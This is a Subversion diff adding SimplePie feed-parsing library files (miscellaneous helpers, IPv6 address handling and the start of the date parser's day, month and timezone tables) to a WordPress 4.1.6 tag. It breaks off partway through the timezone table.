+		if ($codepoint < 0)
+		{
+			return false;
+		}
+		else if ($codepoint <= 0x7f)
+		{
+			return chr($codepoint);
+		}
+		else if ($codepoint <= 0x7ff)
+		{
+			return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0xffff)
+		{
+			return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0x10ffff)
+		{
+			return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else
+		{
+			// U+FFFD REPLACEMENT CHARACTER
+			return "\xEF\xBF\xBD";
+		}
+	}
+
+	/**
+	 * Similar to parse_str()
+	 *
+	 * Returns an associative array of name/value pairs, where the value is an
+	 * array of values that have used the same name
+	 *
+	 * @static
+	 * @param string $str The input string.
+	 * @return array
+	 */
+	public static function parse_str($str)
+	{
+		$return = array();
+		$str = explode('&', $str);
+
+		foreach ($str as $section)
+		{
+			if (strpos($section, '=') !== false)
+			{
+				list($name, $value) = explode('=', $section, 2);
+				$return[urldecode($name)][] = urldecode($value);
+			}
+			else
+			{
+				$return[urldecode($section)][] = null;
+			}
+		}
+
+		return $return;
+	}
+
+	/**
+	 * Detect XML encoding, as per XML 1.0 Appendix F.1
+	 *
+	 * @todo Add support for EBCDIC
+	 * @param string $data XML data
+	 * @param SimplePie_Registry $registry Class registry
+	 * @return array Possible encodings
+	 */
+	public static function xml_encoding($data, $registry)
+	{
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$encoding[] = 'UTF-16LE';
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$encoding[] = 'UTF-8';
+		}
+		// UTF-32 Big Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x3F\x00\x3E"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x3E\x00"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16LE';
+		}
+		// US-ASCII (or superset)
+		elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C")
+		{
+			if ($pos = strpos($data, "\x3F\x3E"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5)));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-8';
+		}
+		// Fallback to UTF-8
+		else
+		{
+			$encoding[] = 'UTF-8';
+		}
+		return $encoding;
+	}
+
+	public static function output_javascript()
+	{
+		if (function_exists('ob_gzhandler'))
+		{
+			ob_start('ob_gzhandler');
+		}
+		header('Content-type: text/javascript; charset: UTF-8');
+		header('Cache-Control: must-revalidate');
+		header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
+		?>
+function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
+	if (placeholder != '') {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+	else {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+}
+
+function embed_flash(bgcolor, width, height, link, loop, type) {
+	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
+}
+
+function embed_flv(width, height, link, placeholder, loop, player) {
+	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
+}
+
+function embed_wmedia(width, height, link) {
+	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
+}
+		<?php
+	}
+
+	/**
+	 * Get the SimplePie build timestamp
+	 *
+	 * Uses the git index if it exists, otherwise uses the modification time
+	 * of the newest file.
+	 */
+	public static function get_build()
+	{
+		$root = dirname(dirname(__FILE__));
+		if (file_exists($root . '/.git/index'))
+		{
+			return filemtime($root . '/.git/index');
+		}
+		elseif (file_exists($root . '/SimplePie'))
+		{
+			$time = 0;
+			foreach (glob($root . '/SimplePie/*.php') as $file)
+			{
+				if (($mtime = filemtime($file)) > $time)
+				{
+					$time = $mtime;
+				}
+			}
+			return $time;
+		}
+		elseif (file_exists(dirname(__FILE__) . '/Core.php'))
+		{
+			return filemtime(dirname(__FILE__) . '/Core.php');
+		}
+		else
+		{
+			return filemtime(__FILE__);
+		}
+	}
+
+	/**
+	 * Format debugging information
+	 */
+	public static function debug(&$sp)
+	{
+		$info = 'SimplePie ' . SIMPLEPIE_VERSION . ' Build ' . SIMPLEPIE_BUILD . "\n";
+		$info .= 'PHP ' . PHP_VERSION . "\n";
+		if ($sp->error() !== null)
+		{
+			$info .= 'Error occurred: ' . $sp->error() . "\n";
+		}
+		else
+		{
+			$info .= "No error found.\n";
+		}
+		$info .= "Extensions:\n";
+		$extensions = array('pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml');
+		foreach ($extensions as $ext)
+		{
+			if (extension_loaded($ext))
+			{
+				$info .= "    $ext loaded\n";
+				switch ($ext)
+				{
+					case 'pcre':
+						$info .= '      Version ' . PCRE_VERSION . "\n";
+						break;
+					case 'curl':
+						$version = curl_version();
+						$info .= '      Version ' . $version['version'] . "\n";
+						break;
+					case 'mbstring':
+						$info .= '      Overloading: ' . mb_get_info('func_overload') . "\n";
+						break;
+					case 'iconv':
+						$info .= '      Version ' . ICONV_VERSION . "\n";
+						break;
+					case 'xml':
+						$info .= '      Version ' . LIBXML_DOTTED_VERSION . "\n";
+						break;
+				}
+			}
+			else
+			{
+				$info .= "    $ext not loaded\n";
+			}
+		}
+		return $info;
+	}
+
+	public static function silence_errors($num, $str)
+	{
+		// No-op
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Net/IPv6.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Net/IPv6.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Net/IPv6.php	(revision 33402)
@@ -0,0 +1,276 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Class to validate and to work with IPv6 addresses.
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @copyright 2003-2005 The PHP Group
+ * @license http://www.opensource.org/licenses/bsd-license.php
+ * @link http://pear.php.net/package/Net_IPv6
+ * @author Alexander Merz <alexander.merz@web.de>
+ * @author elfrink at introweb dot nl
+ * @author Josh Peck <jmp at joshpeck dot org>
+ * @author Geoffrey Sneddon <geoffers@gmail.com>
+ */
+class SimplePie_Net_IPv6
+{
+	/**
+	 * Uncompresses an IPv6 address
+	 *
+	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
+	 * '::'. This method expects a valid IPv6 address and expands the '::' to
+	 * the required number of zero pieces.
+	 *
+	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
+	 *           ::1         ->  0:0:0:0:0:0:0:1
+	 *
+	 * @author Alexander Merz <alexander.merz@web.de>
+	 * @author elfrink at introweb dot nl
+	 * @author Josh Peck <jmp at joshpeck dot org>
+	 * @copyright 2003-2005 The PHP Group
+	 * @license http://www.opensource.org/licenses/bsd-license.php
+	 * @param string $ip An IPv6 address
+	 * @return string The uncompressed IPv6 address
+	 */
+	public static function uncompress($ip)
+	{
+		$c1 = -1;
+		$c2 = -1;
+		if (substr_count($ip, '::') === 1)
+		{
+			list($ip1, $ip2) = explode('::', $ip);
+			if ($ip1 === '')
+			{
+				$c1 = -1;
+			}
+			else
+			{
+				$c1 = substr_count($ip1, ':');
+			}
+			if ($ip2 === '')
+			{
+				$c2 = -1;
+			}
+			else
+			{
+				$c2 = substr_count($ip2, ':');
+			}
+			if (strpos($ip2, '.') !== false)
+			{
+				$c2++;
+			}
+			// ::
+			if ($c1 === -1 && $c2 === -1)
+			{
+				$ip = '0:0:0:0:0:0:0:0';
+			}
+			// ::xxx
+			else if ($c1 === -1)
+			{
+				$fill = str_repeat('0:', 7 - $c2);
+				$ip = str_replace('::', $fill, $ip);
+			}
+			// xxx::
+			else if ($c2 === -1)
+			{
+				$fill = str_repeat(':0', 7 - $c1);
+				$ip = str_replace('::', $fill, $ip);
+			}
+			// xxx::xxx
+			else
+			{
+				$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
+				$ip = str_replace('::', $fill, $ip);
+			}
+		}
+		return $ip;
+	}
+
+	/**
+	 * Compresses an IPv6 address
+	 *
+	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
+	 * '::'. This method expects a valid IPv6 address and compresses consecutive
+	 * zero pieces to '::'.
+	 *
+	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
+	 *           0:0:0:0:0:0:0:1        ->  ::1
+	 *
+	 * @see uncompress()
+	 * @param string $ip An IPv6 address
+	 * @return string The compressed IPv6 address
+	 */
+	public static function compress($ip)
+	{
+		// Prepare the IP to be compressed
+		$ip = self::uncompress($ip);
+		$ip_parts = self::split_v6_v4($ip);
+
+		// Replace all leading zeros
+		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);
+
+		// Find bunches of zeros
+		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE))
+		{
+			$max = 0;
+			$pos = null;
+			foreach ($matches[0] as $match)
+			{
+				if (strlen($match[0]) > $max)
+				{
+					$max = strlen($match[0]);
+					$pos = $match[1];
+				}
+			}
+
+			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
+		}
+
+		if ($ip_parts[1] !== '')
+		{
+			return implode(':', $ip_parts);
+		}
+		else
+		{
+			return $ip_parts[0];
+		}
+	}
+
+	/**
+	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
+	 *
+	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
+	 * using the standard IPv4 representation
+	 *
+	 * Example:  0:0:0:0:0:0:13.1.68.3
+	 *           0:0:0:0:0:FFFF:129.144.52.38
+	 *
+	 * @param string $ip An IPv6 address
+	 * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part
+	 */
+	private static function split_v6_v4($ip)
+	{
+		if (strpos($ip, '.') !== false)
+		{
+			$pos = strrpos($ip, ':');
+			$ipv6_part = substr($ip, 0, $pos);
+			$ipv4_part = substr($ip, $pos + 1);
+			return array($ipv6_part, $ipv4_part);
+		}
+		else
+		{
+			return array($ip, '');
+		}
+	}
+
+	/**
+	 * Checks an IPv6 address
+	 *
+	 * Checks if the given IP is a valid IPv6 address
+	 *
+	 * @param string $ip An IPv6 address
+	 * @return bool true if $ip is a valid IPv6 address
+	 */
+	public static function check_ipv6($ip)
+	{
+		$ip = self::uncompress($ip);
+		list($ipv6, $ipv4) = self::split_v6_v4($ip);
+		$ipv6 = explode(':', $ipv6);
+		$ipv4 = explode('.', $ipv4);
+		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4)
+		{
+			foreach ($ipv6 as $ipv6_part)
+			{
+				// The section can't be empty
+				if ($ipv6_part === '')
+					return false;
+
+				// Nor can it be over four characters
+				if (strlen($ipv6_part) > 4)
+					return false;
+
+				// Remove leading zeros (this is safe because of the above)
+				$ipv6_part = ltrim($ipv6_part, '0');
+				if ($ipv6_part === '')
+					$ipv6_part = '0';
+
+				// Check the value is valid
+				$value = hexdec($ipv6_part);
+				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF)
+					return false;
+			}
+			if (count($ipv4) === 4)
+			{
+				foreach ($ipv4 as $ipv4_part)
+				{
+					$value = (int) $ipv4_part;
+					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF)
+						return false;
+				}
+			}
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Checks if the given IP is a valid IPv6 address
+	 *
+	 * @codeCoverageIgnore
+	 * @deprecated Use {@see SimplePie_Net_IPv6::check_ipv6()} instead
+	 * @see check_ipv6
+	 * @param string $ip An IPv6 address
+	 * @return bool true if $ip is a valid IPv6 address
+	 */
+	public static function checkIPv6($ip)
+	{
+		return self::check_ipv6($ip);
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Parse/Date.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Parse/Date.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Parse/Date.php	(revision 33402)
@@ -0,0 +1,983 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Date Parser
+ *
+ * @package SimplePie
+ * @subpackage Parsing
+ */
+class SimplePie_Parse_Date
+{
+	/**
+	 * Input data
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $date;
+
+	/**
+	 * List of days, calendar day name => ordinal day number in the week
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $day = array(
+		// English
+		'mon' => 1,
+		'monday' => 1,
+		'tue' => 2,
+		'tuesday' => 2,
+		'wed' => 3,
+		'wednesday' => 3,
+		'thu' => 4,
+		'thursday' => 4,
+		'fri' => 5,
+		'friday' => 5,
+		'sat' => 6,
+		'saturday' => 6,
+		'sun' => 7,
+		'sunday' => 7,
+		// Dutch
+		'maandag' => 1,
+		'dinsdag' => 2,
+		'woensdag' => 3,
+		'donderdag' => 4,
+		'vrijdag' => 5,
+		'zaterdag' => 6,
+		'zondag' => 7,
+		// French
+		'lundi' => 1,
+		'mardi' => 2,
+		'mercredi' => 3,
+		'jeudi' => 4,
+		'vendredi' => 5,
+		'samedi' => 6,
+		'dimanche' => 7,
+		// German
+		'montag' => 1,
+		'dienstag' => 2,
+		'mittwoch' => 3,
+		'donnerstag' => 4,
+		'freitag' => 5,
+		'samstag' => 6,
+		'sonnabend' => 6,
+		'sonntag' => 7,
+		// Italian
+		'lunedì' => 1,
+		'martedì' => 2,
+		'mercoledì' => 3,
+		'giovedì' => 4,
+		'venerdì' => 5,
+		'sabato' => 6,
+		'domenica' => 7,
+		// Spanish
+		'lunes' => 1,
+		'martes' => 2,
+		'miércoles' => 3,
+		'jueves' => 4,
+		'viernes' => 5,
+		'sábado' => 6,
+		'domingo' => 7,
+		// Finnish
+		'maanantai' => 1,
+		'tiistai' => 2,
+		'keskiviikko' => 3,
+		'torstai' => 4,
+		'perjantai' => 5,
+		'lauantai' => 6,
+		'sunnuntai' => 7,
+		// Hungarian
+		'hétfő' => 1,
+		'kedd' => 2,
+		'szerda' => 3,
+		'csütörtok' => 4,
+		'péntek' => 5,
+		'szombat' => 6,
+		'vasárnap' => 7,
+		// Greek
+		'Δευ' => 1,
+		'Τρι' => 2,
+		'Τετ' => 3,
+		'Πεμ' => 4,
+		'Παρ' => 5,
+		'Σαβ' => 6,
+		'Κυρ' => 7,
+	);
+
+	/**
+	 * List of months, calendar month name => calendar month number
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $month = array(
+		// English
+		'jan' => 1,
+		'january' => 1,
+		'feb' => 2,
+		'february' => 2,
+		'mar' => 3,
+		'march' => 3,
+		'apr' => 4,
+		'april' => 4,
+		'may' => 5,
+		// No long form of May
+		'jun' => 6,
+		'june' => 6,
+		'jul' => 7,
+		'july' => 7,
+		'aug' => 8,
+		'august' => 8,
+		'sep' => 9,
+		'september' => 8,
+		'oct' => 10,
+		'october' => 10,
+		'nov' => 11,
+		'november' => 11,
+		'dec' => 12,
+		'december' => 12,
+		// Dutch
+		'januari' => 1,
+		'februari' => 2,
+		'maart' => 3,
+		'april' => 4,
+		'mei' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'augustus' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'december' => 12,
+		// French
+		'janvier' => 1,
+		'février' => 2,
+		'mars' => 3,
+		'avril' => 4,
+		'mai' => 5,
+		'juin' => 6,
+		'juillet' => 7,
+		'août' => 8,
+		'septembre' => 9,
+		'octobre' => 10,
+		'novembre' => 11,
+		'décembre' => 12,
+		// German
+		'januar' => 1,
+		'februar' => 2,
+		'märz' => 3,
+		'april' => 4,
+		'mai' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'august' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'dezember' => 12,
+		// Italian
+		'gennaio' => 1,
+		'febbraio' => 2,
+		'marzo' => 3,
+		'aprile' => 4,
+		'maggio' => 5,
+		'giugno' => 6,
+		'luglio' => 7,
+		'agosto' => 8,
+		'settembre' => 9,
+		'ottobre' => 10,
+		'novembre' => 11,
+		'dicembre' => 12,
+		// Spanish
+		'enero' => 1,
+		'febrero' => 2,
+		'marzo' => 3,
+		'abril' => 4,
+		'mayo' => 5,
+		'junio' => 6,
+		'julio' => 7,
+		'agosto' => 8,
+		'septiembre' => 9,
+		'setiembre' => 9,
+		'octubre' => 10,
+		'noviembre' => 11,
+		'diciembre' => 12,
+		// Finnish
+		'tammikuu' => 1,
+		'helmikuu' => 2,
+		'maaliskuu' => 3,
+		'huhtikuu' => 4,
+		'toukokuu' => 5,
+		'kesäkuu' => 6,
+		'heinäkuu' => 7,
+		'elokuu' => 8,
+		'suuskuu' => 9,
+		'lokakuu' => 10,
+		'marras' => 11,
+		'joulukuu' => 12,
+		// Hungarian
+		'január' => 1,
+		'február' => 2,
+		'március' => 3,
+		'április' => 4,
+		'május' => 5,
+		'június' => 6,
+		'július' => 7,
+		'augusztus' => 8,
+		'szeptember' => 9,
+		'október' => 10,
+		'november' => 11,
+		'december' => 12,
+		// Greek
+		'Ιαν' => 1,
+		'Φεβ' => 2,
+		'Μάώ' => 3,
+		'Μαώ' => 3,
+		'Απρ' => 4,
+		'Μάι' => 5,
+		'Μαϊ' => 5,
+		'Μαι' => 5,
+		'Ιούν' => 6,
+		'Ιον' => 6,
+		'Ιούλ' => 7,
+		'Ιολ' => 7,
+		'Αύγ' => 8,
+		'Αυγ' => 8,
+		'Σεπ' => 9,
+		'Οκτ' => 10,
+		'Νοέ' => 11,
+		'Δεκ' => 12,
+	);
+
+	/**
+	 * List of timezones, abbreviation => offset from UTC
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $timezone = array(
+		'ACDT' => 37800,
+		'ACIT' => 28800,
+		'ACST' => 34200,
+		'ACT' => -18000,
+		'ACWDT' => 35100,
+		'ACWST' => 31500,
+		'AEDT' => 39600,
+		'AEST' => 36000,
+		'AFT' => 16200,
+		'AKDT' => -28800,
+		'AKST' => -32400,
+		'AMDT' => 18000,
+		'AMT' => -14400,
+		'ANAST' => 46800,
+		'ANAT' => 43200,
+		'ART' => -10800,
+		'AZOST' => -3600,
+		'AZST' => 18000,
+		'AZT' => 14400,
+		'BIOT' => 21600,
+		'BIT' => -43200,
+		'BOT' => -14400,
+		'BRST' => -7200,
+		'BRT' => -10800,
+		'BST' => 3600,
+		'BTT' => 21600,
+		'CAST' => 18000,
+		'CAT' => 7200,
+		'CCT' => 23400,
+		'CDT' => -18000,
+		'CEDT' => 7200,
+		'CET' => 3600,
+		'CGST' => -7200,
+		'CGT' => -10800,
+		'CHADT' => 49500,
+		'CHAST' => 45900,
+		'CIST' => -28800,
+		'CKT' => -36000,
+		'CLDT' => -10800,
+		'CLST' => -14400,
+		'COT' => -18000,
+		'CST' => -21600,
+		'CVT' => -3600,
+		'CXT' => 25200,
+		'DAVT' => 25200,
+		'DTAT' => 36000,
+		'EADT' => -18000,
+		'EAST' => -21600,
+		'EAT' => 10800,
+		'ECT' => -18000,
+		'EDT' => -14400,
+		'EEST' => 10800,
+		'EET' => 7200,
+		'EGT' => -3600,
+		'EKST' => 21600,
+		'EST' => -18000,
+		'FJT' => 43200,
+		'FKDT' => -10800,
+		'FKST' => -14400,
+		'FNT' => -7200,
+		'GALT' => -21600,
+		'GEDT' => 14400,
+		'GEST' => 10800,
+		'GFT' => -10800,
+		'GILT' => 43200,
+		'GIT' => -32400,
+		'GST' => 14400,
+		'GST' => -7200,
+		'GYT' => -14400,
+		'HAA' => -10800,
+		'HAC' => -18000,
+		'HADT' => -32400,
+		'HAE' => -14400,
+		'HAP' => -25200,
+		'HAR' => -21600,
+		'HAST' => -36000,
+		'HAT' => -9000,
+		'HAY' => -28800,
+		'HKST' => 28800,
+		'HMT' => 18000,
+		'HNA' => -14400,
+		'HNC' => -21600,
+		'HNE' => -18000,
+		'HNP' => -28800,
+		'HNR' => -25200,
+		'HNT' => -12600,
+		'HNY' => -32400,
+		'IRDT' => 16200,
+		'IRKST' => 32400,
+		'IRKT' => 28800,
+		'IRST' => 12600,
+		'JFDT' => -10800,
+		'JFST' => -14400,
+		'JST' => 32400,
+		'KGST' => 21600,
+		'KGT' => 18000,
+		'KOST' => 39600,
+		'KOVST' => 28800,
+		'KOVT' => 25200,
+		'KRAST' => 28800,
+		'KRAT' => 25200,
+		'KST' => 32400,
+		'LHDT' => 39600,
+		'LHST' => 37800,
+		'LINT' => 50400,
+		'LKT' => 21600,
+		'MAGST' => 43200,
+		'MAGT' => 39600,
+		'MAWT' => 21600,
+		'MDT' => -21600,
+		'MESZ' => 7200,
+		'MEZ' => 3600,
+		'MHT' => 43200,
+		'MIT' => -34200,
+		'MNST' => 32400,
+		'MSDT' => 14400,
+		'MSST' => 10800,
+		'MST' => -25200,
+		'MUT' => 14400,
+		'MVT' => 18000,
+		'MYT' => 28800,
+		'NCT' => 39600,
+		'NDT' => -9000,
+		'NFT' => 41400,
+		'NMIT' => 36000,
+		'NOVST' => 25200,
+		'NOVT' => 21600,
+		'NPT' => 20700,
+		'NRT' => 43200,
+		'NST' => -12600,
+		'NUT' => -39600,
+		'NZDT' => 46800,
+		'NZST' => 43200,
+		'OMSST' => 25200,
+		'OMST' => 21600,
+		'PDT' => -25200,
+		'PET' => -18000,
+		'PETST' => 46800,
+		'PETT' => 43200,
+		'PGT' => 36000,
+		'PHOT' => 46800,
+		'PHT' => 28800,
+		'PKT' => 18000,
+		'PMDT' => -7200,
+		'PMST' => -10800,
+		'PONT' => 39600,
+		'PST' => -28800,
+		'PWT' => 32400,
+		'PYST' => -10800,
